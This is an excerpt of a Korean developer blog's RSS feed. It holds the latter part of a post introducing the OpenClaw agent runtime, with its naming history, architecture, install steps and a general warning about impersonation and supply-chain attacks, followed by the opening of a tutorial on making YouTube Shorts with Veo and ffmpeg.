&lt;p&gt;클라우드 챗봇에 회사 파일과 개인 데이터를 올리는 게 찜찜한 사람이 많습니다. OpenClaw는 &lt;strong&gt;Gateway&lt;/strong&gt;라는 로컬 컨트롤 플레인이 세션·채널·툴·이벤트를 내 기기 안에서 관리합니다. 두뇌로 쓰는 LLM은 외부 API를 부르더라도, 오케스트레이션과 데이터 보관의 중심은 내 손안에 있는 구조죠.&lt;/p&gt;
&lt;h3&gt;4. 드라마틱한 서사 — 이름 3번 바뀌고, 창업자는 OpenAI로&lt;/h3&gt;
&lt;p&gt;솔직히 기술만으로 30만 스타가 모이진 않습니다. OpenClaw에는 &lt;strong&gt;입소문 날 만한 이야기&lt;/strong&gt;가 겹겹이 쌓였습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2025.11.24&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;Warelay&lt;/code&gt;라는 이름으로 최초 공개 (Claude를 오마주한 개인 비서 &lt;code class=&quot;language-text&quot;&gt;Clawd&lt;/code&gt;에서 파생)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026.01.27&lt;/strong&gt; — Anthropic이 &quot;Claude 상표 침해&quot; 이의 제기 → **&lt;code class=&quot;language-text&quot;&gt;Moltbot&lt;/code&gt;**으로 개명 (탈피=molt, 랍스터 테마 유지)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026.01.30&lt;/strong&gt; — &quot;Moltbot이 입에 안 붙는다&quot;며 사흘 만에 **&lt;code class=&quot;language-text&quot;&gt;OpenClaw&lt;/code&gt;**로 재개명&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026.02&lt;/strong&gt; — GitHub 스타 20만 돌파&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026.02 중순&lt;/strong&gt; — 창업자 Peter Steinberger가 &lt;strong&gt;OpenAI 합류&lt;/strong&gt; 발표, 프로젝트는 독립 재단(OpenClaw Foundation)으로 이관·OpenAI가 재정 후원&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/3040b9eee58325110f3e87582feb77df/64756/diagram-timeline.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB80lEQVR42o1S23LbIBTUFzStr7oidAMsSwgkJJBkWXEcp7GT+K2dPvb/v6InfelrZ86cAc7uLOxixTiPU5mLR9lduDgwpshuyKsTFTPvb5W5IjYEbPAplPGIcdLWSZQTt3bUWCTe7wvTDtdheuvNeRJDXc2yvUr98nK5m/keF1NaTjvRh2xARGM6oWzaYLnFtfXFLrZhjbAIwirAMk/bLGsS0jLWqUKw3GT5IWJmz2VE+pj2Cb2E6TNQNkhapXopmudvTrFB1fh4z/bDg51nu+52/3V6fKuKDjNzOP9g/PRgF1y9Xz9+i+bmILMOhEWLkfCTE6m1z013btonWFOmbs/fx+lVNceIqELOlM8bVO/F+2H6KetXlEwLj1sOrrehWLrFOuAY124oV0hEpNFC0Z3KqMKpCOJy4VZLt4zSpyi72MjYqFu4pZVmkpCasIYXWuvjOD7NZpxaDdXrg+6OQs68mkV1rOWJ0S7CZYxBpgS9T2U3rr1EBWkbgpmsh0diCq7qkGpEDFQIPetRavy4cyNlhzWwVn5lfXUKuMDSr5aBWCG5BhsjtYUYk87NtEd6H3LejdAhZPczZw2jLWBwYy09vgqqNRKbsIa9HSsnad208zLj0x6+B9qNfz9J72UazmEKGECuQ2mB+j9m9L9MwIOvfwCVS28IPzqB0wAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/3040b9eee58325110f3e87582feb77df/a1b3b/diagram-timeline.webp 215w,
/static/3040b9eee58325110f3e87582feb77df/fc700/diagram-timeline.webp 430w,
/static/3040b9eee58325110f3e87582feb77df/521f7/diagram-timeline.webp 860w,
/static/3040b9eee58325110f3e87582feb77df/cbd37/diagram-timeline.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/3040b9eee58325110f3e87582feb77df/f7886/diagram-timeline.png 215w,
/static/3040b9eee58325110f3e87582feb77df/bc750/diagram-timeline.png 430w,
/static/3040b9eee58325110f3e87582feb77df/3e3fe/diagram-timeline.png 860w,
/static/3040b9eee58325110f3e87582feb77df/64756/diagram-timeline.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/3040b9eee58325110f3e87582feb77df/3e3fe/diagram-timeline.png&apos; alt=&apos;OpenClaw 이름 변천 타임라인 — Warelay에서 Moltbot, OpenClaw를 거쳐 GitHub 최다 스타와 OpenAI 합류까지&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;OpenClaw 이름 변천 타임라인 — Warelay에서 Moltbot, OpenClaw를 거쳐 GitHub 최다 스타와 OpenAI 합류까지&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;번아웃을 겪던 개발자가 &apos;바이브 코딩&apos;으로 주말 프로젝트를 시작했는데, 상표 분쟁을 거쳐 랍스터 밈이 되고, 끝내 창업자가 OpenAI에 스카웃되기까지 — 커뮤니티가 좋아할 요소를 다 갖춘 스토리였습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;참고로 Anthropic과 창업자의 첫 접촉이 **경고장(cease-and-desist)**이었다는 점이 재미있습니다. &lt;code class=&quot;language-text&quot;&gt;Claude&lt;/code&gt;와 발음이 겹치는 &lt;code class=&quot;language-text&quot;&gt;Clawd&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;Clawdbot&lt;/code&gt;이 상표 침해로 지목됐고, 그 결과 지금의 랍스터 브랜딩(claw, molt)이 탄생했죠.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;어떻게 동작하나 — 아키텍처 한눈에&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/0f34db06f98823d1eb5a9716a2b03f75/64756/diagram-architecture.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDElEQVR42iWS2XLbIBSG9QitY1uWJaGN3doACRCSnNhpnKTNRTKZTt//TUrame8CZjjM+ZegyDjKGeVWDFelr/xkSjrX6kdnX+T8dhpuKZkAnQBzgLqE2ASbI9RRNUblEDCmWi5O/Vkvv8zyPPaT6ZdhfHDnnw9P73K6+bGMLoDMKfK4BE6eY2UOhQqS7gkNr/tKH6AJ876sut8vt4+3d6MfCBGcj4BodHoe3R9p3yv2WNIrQOcUnsNMBgc0A7rschmWY4w0xMqa67LctLlIdW57lxJd8UfWvZL6idS3klxBdU7LZQ9EEPE1Zcs+V9tMlcxQqhouKBuOoAFFX0DBmyllc3JaAVtDaMPK+DX35bBNuuDIFiQeUzpvcxVjk0MhOteJe8QnUMii6jM4JuK+v32Ky0cmLrm8xO26xcNd0ga7yu6hvSvGbWn8IYUK6wWZldYGkwFh5V090PnI5ojN8WmNmAuJ3cBhEzdBiSUkA6Rf1J3Tyo3Kar0MahqllY3itWP1zJsFU1uUMi8FKNokqzfRKcigzJEq8FiQkdRz0/l3jncra2fWOMw1ZA7xGfO1wl7IkHp1oE9yufVrf4ua73G7Sbq7VHg2QHrndrnaF+O+HA/QRsjGeDqS6Yi/8NdDpX00B1+STdz6P3Zp760Pc+mj9yJ9h2JkEmz/1csBNqfUZzbFyP6vl58Mc/UXhjZwIMObeJsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0f34db06f98823d1eb5a9716a2b03f75/a1b3b/diagram-architecture.webp 215w,
/static/0f34db06f98823d1eb5a9716a2b03f75/fc700/diagram-architecture.webp 430w,
/static/0f34db06f98823d1eb5a9716a2b03f75/521f7/diagram-architecture.webp 860w,
/static/0f34db06f98823d1eb5a9716a2b03f75/cbd37/diagram-architecture.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0f34db06f98823d1eb5a9716a2b03f75/f7886/diagram-architecture.png 215w,
/static/0f34db06f98823d1eb5a9716a2b03f75/bc750/diagram-architecture.png 430w,
/static/0f34db06f98823d1eb5a9716a2b03f75/3e3fe/diagram-architecture.png 860w,
/static/0f34db06f98823d1eb5a9716a2b03f75/64756/diagram-architecture.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0f34db06f98823d1eb5a9716a2b03f75/3e3fe/diagram-architecture.png&apos; alt=&apos;OpenClaw 아키텍처 — 메신저 채널이 로컬 Gateway를 거쳐 외부 LLM(두뇌)과 파일·셸·웹 실행(손발)으로 연결되는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;OpenClaw 아키텍처 — 메신저 채널이 로컬 Gateway를 거쳐 외부 LLM(두뇌)과 파일·셸·웹 실행(손발)으로 연결되는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gateway (로컬 컨트롤 플레인)&lt;/strong&gt;: 세션·채널·툴·이벤트를 관리하는 단일 심장부. 백그라운드 데몬으로 상주.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;멀티 채널 인박스&lt;/strong&gt;: 29개 메신저에서 오는 대화를 한곳에서 라우팅.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;멀티 에이전트 라우팅&lt;/strong&gt;: 작업별로 격리된 워크스페이스에 에이전트를 분배.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;스킬(AgentSkills)&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;SKILL.md&lt;/code&gt; + 보조 파일로 구성된 능력 단위. &lt;strong&gt;ClawHub&lt;/strong&gt; 레지스트리에서 검색·설치·버전 관리.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부가 기능&lt;/strong&gt;: 음성 호출(Voice Wake)·대화 모드, 에이전트가 그려주는 라이브 Canvas, Windows/macOS/iOS/Android 컴패니언 앱.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;설치는 npm 한 줄로 시작합니다(Node 24.15+ 권장):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; openclaw@latest
openclaw onboard --install-daemon&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;onboard&lt;/code&gt;가 Gateway 데몬을 사용자 서비스(launchd/systemd)로 등록해 항상 떠 있게 만들어 줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;⚠️ 설치 전 꼭 알아야 할 것 — 보안 주의&lt;/h2&gt;
&lt;p&gt;솔직하게 말씀드립니다. &lt;strong&gt;급성장한 만큼 사칭·악성 배포도 같이 폭발했습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;이름이 바뀌는 순간, 옛 유저네임과 유사 도메인을 &lt;strong&gt;초 단위로&lt;/strong&gt; 스쿼터들이 선점했습니다.&lt;/li&gt;
&lt;li&gt;가짜 Solana 토큰, 악성코드가 심긴 복제 GitHub 레포, 하이재킹된 npm 패키지가 쏟아졌습니다.&lt;/li&gt;
&lt;li&gt;처음엔 깨끗한 코드로 신뢰를 얻은 뒤 나중에 악성 업데이트를 밀어 넣는 &lt;strong&gt;공급망 공격&lt;/strong&gt; 패턴도 보고됐습니다(Malwarebytes).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;게다가 OpenClaw는 본질적으로 &lt;strong&gt;내 파일에 접근하고 셸 명령을 실행하는&lt;/strong&gt; 도구입니다. 권한이 강한 만큼, 반드시:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;공식 레포(&lt;a href=&quot;https://github.com/openclaw/openclaw&quot;&gt;github.com/openclaw/openclaw&lt;/a&gt;)와 공식 사이트(&lt;a href=&quot;https://openclaw.ai/&quot;&gt;openclaw.ai&lt;/a&gt;)에서만&lt;/strong&gt; 설치하세요.&lt;/li&gt;
&lt;li&gt;설치하는 npm 패키지명·GitHub 조직명을 &lt;strong&gt;한 글자씩&lt;/strong&gt; 확인하세요(타이포스쿼트 주의).&lt;/li&gt;
&lt;li&gt;커뮤니티 스킬은 &lt;strong&gt;출처를 확인&lt;/strong&gt;하고, 셸 실행 권한을 주는 스킬은 코드를 한 번 훑어보세요.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;강력한 도구일수록 신뢰할 수 있는 출처가 전부입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. OpenClaw는 무료인가요?&lt;/strong&gt;
네. MIT 라이선스의 오픈소스라 무료로 셀프 호스팅할 수 있습니다. 다만 두뇌로 쓰는 LLM(Claude·GPT 등)의 &lt;strong&gt;API 사용료는 별도&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Claude나 ChatGPT를 대체하나요?&lt;/strong&gt;
아니요. OpenClaw는 LLM 자체가 아니라 **LLM을 손발처럼 부리는 껍데기(에이전트 런타임)**입니다. 실제 추론은 연결한 Claude·GPT 등이 담당하고, OpenClaw는 그걸 내 파일·셸·메신저에 연결해 실행시키는 역할을 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 왜 이름이 Claude랑 비슷한가요?&lt;/strong&gt;
초기 이름 &lt;code class=&quot;language-text&quot;&gt;Clawd&lt;/code&gt;가 Anthropic의 &lt;code class=&quot;language-text&quot;&gt;Claude&lt;/code&gt;를 오마주한 데서 출발했기 때문입니다. 상표 이의로 &lt;code class=&quot;language-text&quot;&gt;Moltbot&lt;/code&gt;을 거쳐 지금의 &lt;code class=&quot;language-text&quot;&gt;OpenClaw&lt;/code&gt;(claw=집게발, molt=탈피)라는 랍스터 브랜딩으로 정착했습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 개인정보는 안전한가요?&lt;/strong&gt;
로컬 우선 설계라 오케스트레이션과 데이터 보관 중심은 내 기기입니다. 다만 연결한 외부 LLM으로 보내는 내용은 해당 서비스 약관을 따르며, &lt;strong&gt;가짜 배포본 설치가 가장 큰 위험&lt;/strong&gt;이니 공식 출처 사용이 핵심입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;OpenClaw는 &quot;AI가 답을 말해주는 시대&quot;에서 &quot;AI가 실제로 일을 해주는 시대&quot;로 넘어가는 흐름을, &lt;strong&gt;누구나 쓰는 메신저&lt;/strong&gt;라는 익숙한 문 앞에 가져다 놓은 프로젝트입니다. 5개월 만의 GitHub 최다 스타는 기술력만이 아니라 &lt;strong&gt;접근성 + 로컬 우선 + 서사&lt;/strong&gt;가 겹친 결과였고요.&lt;/p&gt;
&lt;p&gt;물론 강력한 권한과 폭발적 인기의 이면에는 사칭·공급망 공격이라는 그림자도 분명합니다. 관심이 있다면 &lt;strong&gt;공식 출처에서, 권한을 이해한 채로&lt;/strong&gt; 조심스럽게 시작해보시길 권합니다.&lt;/p&gt;
&lt;p&gt;메신저로 AI 에이전트를 부리는 흐름이 궁금하다면, 텔레그램에서 Claude Code를 원격 조종하는 &lt;a href=&quot;/cokacdir-telegram-ai-coding-agent/&quot;&gt;COKACDIR 이야기&lt;/a&gt;도 함께 읽어보시면 좋습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;p&gt;이 글의 사실관계(출시·개명 일정, GitHub 스타 수치, 상표 분쟁, 보안 사건 등)는 아래 출처를 바탕으로 정리했습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;공식 저장소 — &lt;a href=&quot;https://github.com/openclaw/openclaw&quot;&gt;github.com/openclaw/openclaw&lt;/a&gt; (기능·설치·아키텍처·라이선스)&lt;/li&gt;
&lt;li&gt;공식 사이트 — &lt;a href=&quot;https://openclaw.ai/&quot;&gt;openclaw.ai&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/OpenClaw&quot;&gt;OpenClaw — Wikipedia&lt;/a&gt; (개명 연혁, 창업자, 라이선스)&lt;/li&gt;
&lt;li&gt;Forbes — &lt;a href=&quot;https://www.forbes.com/sites/ronschmelzer/2026/01/30/moltbot-molts-again-and-becomes-openclaw-pushback-and-concerns-grow/&quot;&gt;Moltbot Molts Again And Becomes OpenClaw&lt;/a&gt; (개명 배경, 보안 우려)&lt;/li&gt;
&lt;li&gt;Fortune — &lt;a href=&quot;https://fortune.com/2026/02/19/openclaw-who-is-peter-steinberger-openai-sam-altman-anthropic-moltbook/&quot;&gt;Who is OpenClaw creator Peter Steinberger&lt;/a&gt; (창업자·OpenAI 합류)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;오픈소스 특성상 스타 수·스킬 개수 등은 시점에 따라 계속 바뀝니다. 본문 수치는 2026년 2~3월 기준이며, 최신 현황은 공식 저장소에서 확인하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;여러분은 이런 &apos;행동하는 개인 AI 에이전트&apos;를 실제로 써보실 의향이 있으신가요? 로컬 우선이라는 점이 안심되나요, 아니면 셸 실행 권한이 더 걱정되나요? 댓글로 의견 남겨주세요. 🦞&lt;/p&gt;</content:encoded></item><item><title><![CDATA[개발 유튜브 숏츠 직접 만들기 — Veo·ffmpeg로 따라 하는 30분 실습]]></title><description><![CDATA[개발 유튜브 숏츠 직접 만들기 실습 커버 — Veo와 ffmpeg로 따라 만들기 안녕하세요, 자바파커입니다. 지난 개발 유튜브 숏츠를 AI…]]></description><link>https://blog.javapark.kr/ai-dev-shorts-hands-on/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-dev-shorts-hands-on/</guid><pubDate>Fri, 17 Jul 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-dev-shorts-hands-on.png&quot; alt=&quot;개발 유튜브 숏츠 직접 만들기 실습 커버 — Veo와 ffmpeg로 따라 만들기&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;지난 &lt;a href=&quot;/ai-dev-shorts-veo-editor/&quot;&gt;개발 유튜브 숏츠를 AI로 만드는 법&lt;/a&gt; 글에서 제작 과정을 소개했더니, &lt;strong&gt;&quot;글대로 직접 따라 해보고 싶다&quot;&lt;/strong&gt; 는 요청이 많았습니다.&lt;/p&gt;
&lt;p&gt;그래서 이번 글은 &lt;strong&gt;손을 움직이는 실습편&lt;/strong&gt;입니다. 이 글을 순서대로 따라 하면 &lt;strong&gt;30분 안에 개발 숏츠 한 편&lt;/strong&gt;이 완성됩니다. 촬영 장비도, 편집 프로그램도 필요 없습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;이 글은 &lt;strong&gt;따라 하기용&lt;/strong&gt;입니다. &quot;왜 이렇게 하는지&quot; 배경이 궁금하면 &lt;a href=&quot;/ai-dev-shorts-veo-editor/&quot;&gt;제작기 글&lt;/a&gt;을 함께 보세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;완성 목표&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;길이&lt;/strong&gt;: 40초 세로 영상(9:16)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주제&lt;/strong&gt;: &quot;프론트엔드 vs 백엔드&quot;를 식당에 빗댄 입문 숏츠&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;결과물&lt;/strong&gt;: 자막이 박힌 &lt;code class=&quot;language-text&quot;&gt;short.mp4&lt;/code&gt; 한 개 → 유튜브 숏츠 업로드&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;준비물 (시작 전 체크)&lt;/h2&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;strong&gt;Veo 접근 권한&lt;/strong&gt; (Google 영상 생성 도구)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;strong&gt;ffmpeg 설치&lt;/strong&gt; — 터미널에서 &lt;code class=&quot;language-text&quot;&gt;ffmpeg -version&lt;/code&gt;이 나오면 OK&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 작업 폴더 하나 (예: &lt;code class=&quot;language-text&quot;&gt;my-short/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ ffmpeg가 없다면: Windows는 &lt;code class=&quot;language-text&quot;&gt;winget install Gyan.FFmpeg&lt;/code&gt;, macOS는 &lt;code class=&quot;language-text&quot;&gt;brew install ffmpeg&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;STEP&lt;/th&gt;
&lt;th&gt;할 일&lt;/th&gt;
&lt;th&gt;예상 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;대본 1장 짜기&lt;/td&gt;
&lt;td&gt;5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Veo로 클립 5개 만들기&lt;/td&gt;
&lt;td&gt;10분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;클립 정리&lt;/td&gt;
&lt;td&gt;2분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ffmpeg로 이어붙이기&lt;/td&gt;
&lt;td&gt;3분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;한글 자막 입히기&lt;/td&gt;
&lt;td&gt;8분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;업로드&lt;/td&gt;
&lt;td&gt;2분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 1. 대본 1장 짜기 ⏱ 5분&lt;/h2&gt;
&lt;p&gt;입문 숏츠의 핵심은 &lt;strong&gt;비유 하나&lt;/strong&gt;입니다. 아래 템플릿의 빈칸만 채우세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실습&lt;/strong&gt; — 이 표를 채웁니다(이미 예시가 들어 있습니다).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;클립&lt;/th&gt;
&lt;th&gt;나레이션(대사)&lt;/th&gt;
&lt;th&gt;화면 자막&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&quot;웹사이트는 사실 식당이랑 똑같이 생겼어요&quot;&lt;/td&gt;
&lt;td&gt;웹사이트 = 식당&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&quot;여러분이 보는 예쁜 홀, 이게 프론트엔드예요&quot;&lt;/td&gt;
&lt;td&gt;홀 = 프론트엔드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&quot;안 보이는 주방이 백엔드예요&quot;&lt;/td&gt;
&lt;td&gt;주방 = 백엔드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&quot;버튼을 누르면 주방이 요리해서 다시 내와요&quot;&lt;/td&gt;
&lt;td&gt;요청 → 응답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&quot;보이면 프론트, 안 보이면 백엔드!&quot;&lt;/td&gt;
&lt;td&gt;정리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;✅ &lt;strong&gt;확인&lt;/strong&gt;: 클립 5개, 각 대사가 &lt;strong&gt;한 문장&lt;/strong&gt;이면 성공. (클립 하나 = 8초라 문장은 짧게)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 2. Veo로 클립 5개 만들기 ⏱ 10분&lt;/h2&gt;
&lt;p&gt;Veo에 아래 프롬프트를 &lt;strong&gt;하나씩&lt;/strong&gt; 넣어 8초 클립을 만듭니다. 목소리 묘사는 &lt;strong&gt;5개 전부 똑같이&lt;/strong&gt; 유지하세요(안 그러면 클립마다 목소리가 바뀝니다).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실습&lt;/strong&gt; — 클립 1 프롬프트(복붙):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Vertical 9:16, cinematic. A cozy modern restaurant at golden hour, warm
lighting, shallow depth of field. Camera slowly pushes in toward an empty
table set for one.
Audio: gentle restaurant ambience, soft chatter, light jazz.
Narrator (warm, friendly Korean male voice, early 30s, calm and clear):
&quot;웹사이트는 사실, 식당이랑 똑같이 생겼어요.&quot;
No subtitles, no captions, no on-screen text, no watermark. 8 seconds.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;클립 2~5는 &lt;strong&gt;장면과 대사만&lt;/strong&gt; 바꾸면 됩니다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;클립 2&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;a beautiful dining hall with guests&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;&quot;여러분이 보는 이 예쁜 홀, 이게 프론트엔드예요.&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;클립 3&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;a busy kitchen behind a door, steam and chefs&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;&quot;근데 음식이 만들어지는 주방은 안 보이죠? 그게 백엔드예요.&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;클립 4&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;a waiter taking an order, then serving a finished dish&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;&quot;버튼을 누르면 주방이 데이터를 요리해서, 다시 화면으로 내와요.&quot;&lt;/code&gt;&lt;/li&gt;
